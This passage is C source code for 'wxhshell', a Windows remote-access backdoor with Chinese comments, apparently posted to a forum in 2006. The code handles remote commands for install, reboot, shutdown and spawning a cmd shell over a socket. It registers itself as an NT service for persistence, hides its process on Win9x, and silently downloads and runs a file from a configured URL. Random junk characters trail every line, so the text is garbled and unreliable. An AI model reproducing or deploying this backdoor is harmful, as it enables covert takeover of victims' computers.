  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Wu(Tps  
  } TyvUdU  
  else { \=[38?QOY  
_H@8qR  
    switch(cmd[0]) { (QdLz5\  
  [s[!PlazX  
  // 帮助 )xL_jSyh  
  case '?': { cm8co  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g,G{%dGsk  
    break; | 2GrOM&S  
  } ewdcAF5  
  // 安装 hh$i1n  
  case 'i': { 4}Y? :R  
    if(Install()) ?Ld:HE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >[N6_*K]  
    else cJ>^@pd{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sC ?e%B  
    break; sY[!=`@  
    } /g1;`F(MS/  
  // 卸载 ~<}?pDA}~  
  case 'r': { o{' J O3  
    if(Uninstall()) /eBcPu"[Vb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (S?qxW?  
    else aI;fNy /K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t]{, 7.S  
    break; |RBL5,t^  
    } a# Uk:O!  
  // 显示 wxhshell 所在路径 C,8@V`  
  case 'p': { #^_7i)=~  
    char svExeFile[MAX_PATH]; F ~e}=Nb  
    strcpy(svExeFile,"\n\r"); *l@T 9L[M'  
      strcat(svExeFile,ExeFile); Odm1;\=Eg+  
        send(wsh,svExeFile,strlen(svExeFile),0); @.=2*e.z|b  
    break; VrKLEN\  
    } MH]?:]K9V  
  // 重启 'X\C/8\  
  case 'b': { 5>:p'zI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Va4AE)[/*  
    if(Boot(REBOOT)) -j^G4J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oiw!d6"Ovq  
    else { V0bKtg1f?-  
    closesocket(wsh); !-7<x"avm  
    ExitThread(0); >J,IxRGi  
    } bv``PSb3  
    break; fG<[zt\e  
    } #%]?e N  
  // 关机 Pk8(2fAYk  
  case 'd': { CX7eCo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =T$2Qo8  
    if(Boot(SHUTDOWN)) BOl*. t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P#/s5D8  
    else { T2to!*T  
    closesocket(wsh); _AiGD  
    ExitThread(0); yn2k!2]&T<  
    } 618bbftx{  
    break; YCBUc<)  
    } >qdRqy)DC  
  // 获取shell +p-S36K~,7  
  case 's': { RRtOBrIedI  
    CmdShell(wsh); km}E&ao  
    closesocket(wsh); CbMClnF  
    ExitThread(0); $cGV)[KWp@  
    break; 'l1cuAP!+  
  } InG<B,/W?  
  // 退出 ^Uldyv/  
  case 'x': { K&&YxX~ 3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?YM0VB,y  
    CloseIt(wsh); g:>dF#  
    break; jYh.$g<`0+  
    } ,f .#-  
  // 离开 !)OA7%3m  
  case 'q': { i,/Q.XL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %%Wn:c>  
    closesocket(wsh); 1k)`C<l  
    WSACleanup(); s3)T}52  
    exit(1); >kV=h?]Y  
    break; H"rIOoxf  
        } Bs-MoT!  
  } ."j*4  
  } ZQ~EaI9R  
.a|ROjd!  
  // 提示信息 XOzZtt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n{E + r  
} 1gH>B5`  
  } Byns6k  
p{JE@TM  
  return; 3UGdXufw  
} p|=0EWo4U  
o&HFlDZ5jO  
// shell模块句柄 {"^#CSi  
int CmdShell(SOCKET sock) =!2(7Nr  
{ 84-7!< 6i  
STARTUPINFO si; -axmfE?g0  
ZeroMemory(&si,sizeof(si)); SA6.g2pFz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j"<F?k@`Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [u8JqX  
PROCESS_INFORMATION ProcessInfo; V[">SiOg  
char cmdline[]="cmd"; 1L.yh U\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RTYhgq  
  return 0; x;/%`gKn8  
} r)Iq47Uiw  
?E7.x%n7X5  
// 自身启动模式  av!~B,  
int StartFromService(void) wEIAU  
{ 7A>glZ/x  
typedef struct _+nlm5  
{ o n?8l?iQ  
  DWORD ExitStatus; b .v^:M  
  DWORD PebBaseAddress; 9,Ug  
  DWORD AffinityMask; (2%z9W  
  DWORD BasePriority; 86f/R c  
  ULONG UniqueProcessId; yl~h `b4  
  ULONG InheritedFromUniqueProcessId; $g)X,iQu  
}   PROCESS_BASIC_INFORMATION; qgsKbsl  
4N{^niq7  
PROCNTQSIP NtQueryInformationProcess; b~m|mb$  
%-[U;pJe;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !CuLXuM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " ZFK-jn/  
YS&Q4nv-  
  HANDLE             hProcess; ^1+&)6s7V  
  PROCESS_BASIC_INFORMATION pbi; \YsYOFc|  
6V c&g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Vqh1<  
  if(NULL == hInst ) return 0; KfLp cV  
WUqfY?5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J9/}ZD^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u:&Lf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #k<j`0kiq  
,(CIcDJ2U_  
  if (!NtQueryInformationProcess) return 0; 0~j0x#  
V$<5`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FG5t\!dt<  
  if(!hProcess) return 0; )3~):+  
[?Q$b5j/M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +0WI;M4i  
s:#\U!>0`  
  CloseHandle(hProcess); /CN`U7:E  
[P746b_\e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )k|_ CW~  
if(hProcess==NULL) return 0; ~uz4  
v}\Nx[}  
HMODULE hMod; )]5}d$83  
char procName[255]; }W k!):=y  
unsigned long cbNeeded; QWV12t$v  
B>M@'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -.X-02  
<Xr {1M D  
  CloseHandle(hProcess); J.QFrIB{]+  
DJf!{:b)  
if(strstr(procName,"services")) return 1; // 以服务启动 `V[{,!l;X  
')>&:~  
  return 0; // 注册表启动 %2D9]L2Up  
} ULkhTB  
$,~D-~-  
// 主模块 qA6;Q$  
int StartWxhshell(LPSTR lpCmdLine) :vkTV~  
{ K=82fF(-  
  SOCKET wsl; +1%7*2q,  
BOOL val=TRUE; YCd[s[  
  int port=0; &I$MV5)u  
  struct sockaddr_in door; ("B[P/  
WD7IF+v  
  if(wscfg.ws_autoins) Install(); qx~-(|s`H  
$kef_*BQg  
port=atoi(lpCmdLine); oMV<Yn_<  
/&#Gh?z  
if(port<=0) port=wscfg.ws_port; |B;tv#mKD  
^xwnX=Np  
  WSADATA data; usR: -1{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >3a<#s{%  
(}u2) 9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3,<$z1Jm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vC9Qe ]f  
  door.sin_family = AF_INET; $ RDwy)9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x2bKFJ>e@  
  door.sin_port = htons(port); JXIxk"m  
!w8t`Z['  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i/%+x-#  
closesocket(wsl); -6OgM}  
return 1; S3iXG @  
} ~S,R`wo  
d/O~"d  
  if(listen(wsl,2) == INVALID_SOCKET) { ? 2#MU  
closesocket(wsl); (93+b%^[  
return 1; z"n7du}v  
} V6C*d:  
  Wxhshell(wsl); =x/Ap1  
  WSACleanup(); O:Ixy?b;Z  
OJGEX}3'  
return 0; `"/s,"c:D  
*+ql{\am4N  
} ?B"k9+%5ej  
uoM;p'  
// 以NT服务方式启动 8i=c|k,GL.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >vPDF+u  
{ <n)J~B^  
DWORD   status = 0; Az}.Z'LJ  
  DWORD   specificError = 0xfffffff; 5mxYzu;#]  
u._B7R&>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }j/($,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #MyR:V*a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,u1Yn}  
  serviceStatus.dwWin32ExitCode     = 0; W/3,vf1  
  serviceStatus.dwServiceSpecificExitCode = 0; 7 )`U%}R  
  serviceStatus.dwCheckPoint       = 0; +M"Fv9  
  serviceStatus.dwWaitHint       = 0; 2+7r Lf`l  
em+dQ15  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N<|_tC+ct  
  if (hServiceStatusHandle==0) return; G98P<cyD  
\CP)$0j-&o  
status = GetLastError(); ok"v`76~f5  
  if (status!=NO_ERROR) [zO:[i 7  
{ -.>b7ui  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nm.H  
    serviceStatus.dwCheckPoint       = 0; K\7\  
    serviceStatus.dwWaitHint       = 0; [<+A?M=  
    serviceStatus.dwWin32ExitCode     = status; 5v f?E"\r  
    serviceStatus.dwServiceSpecificExitCode = specificError; fZqqU|tq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !y&uK&1  
    return; ,dTRM  
  } 3 ?1qI'5  
zq=X;}qYj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a5/6DK>  
  serviceStatus.dwCheckPoint       = 0; b1(7<o  
  serviceStatus.dwWaitHint       = 0; 3 %ppvvQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x +=zG4Hm  
} 4;]<#u  
1VlRdDg  
// 处理NT服务事件,比如:启动、停止 Nq`@ >Ml  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lTe7n'y^^  
{ G234UjN%  
switch(fdwControl) M7O5uW`  
{ ^usZ&9"@P  
case SERVICE_CONTROL_STOP: xpJ6M<O{8  
  serviceStatus.dwWin32ExitCode = 0; ZPktZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6`>WO_<z  
  serviceStatus.dwCheckPoint   = 0; o7/S'Haxc]  
  serviceStatus.dwWaitHint     = 0; E<j}"W$a  
  { $)1i)/]9U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pSjJ u D  
  } 0]3 ,0s $}  
  return; tl 0_Sd  
case SERVICE_CONTROL_PAUSE: WF)(Q~op0U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G E=J Y  
  break; yqaLqZ$  
case SERVICE_CONTROL_CONTINUE: lEcZ/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3@qy}Nm  
  break; S'Hb5C2u  
case SERVICE_CONTROL_INTERROGATE: Gb=pQ (n4  
  break; _2eRH@T  
}; 6zo'w Wc3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *>lh2ssl L  
} \~sc6ho  
VH.m H<  
// 标准应用程序主函数 !Ez5@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !e8OC9 _x  
{ wLF;nzv  
J**-q(>  
// 获取操作系统版本 ;_o1{?~  
OsIsNt=GetOsVer(); y9K U&L2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p#5U[@TK  
)\ `AD#  
  // 从命令行安装 +3a} ~pW  
  if(strpbrk(lpCmdLine,"iI")) Install(); BHVC&F*>  
Lro[ |A  
  // 下载执行文件 |K|[>[?Z/  
if(wscfg.ws_downexe) { $+ z 3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |WiE`&?xP  
  WinExec(wscfg.ws_filenam,SW_HIDE); hA6   
} z%)~s/2Rs  
1JRM@!x  
if(!OsIsNt) { 1V\tKDM  
// 如果时win9x,隐藏进程并且设置为注册表启动 )\S3Q  
HideProc(); o!]muO*Rm  
StartWxhshell(lpCmdLine); Jy#c 6  
} dRdI('  
else bW]7$?acv  
  if(StartFromService()) HE;}B!>  
  // 以服务方式启动 y*F !k{P  
  StartServiceCtrlDispatcher(DispatchTable); wbIgZ]o!/;  
else L}~"R/iWCT  
  // 普通方式启动 [>2iz  
  StartWxhshell(lpCmdLine); s6q6)RD"  
I_1(jaY  
return 0; xRX2u_f$<  
}
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只看该作者 1 发表于: 2006-10-10
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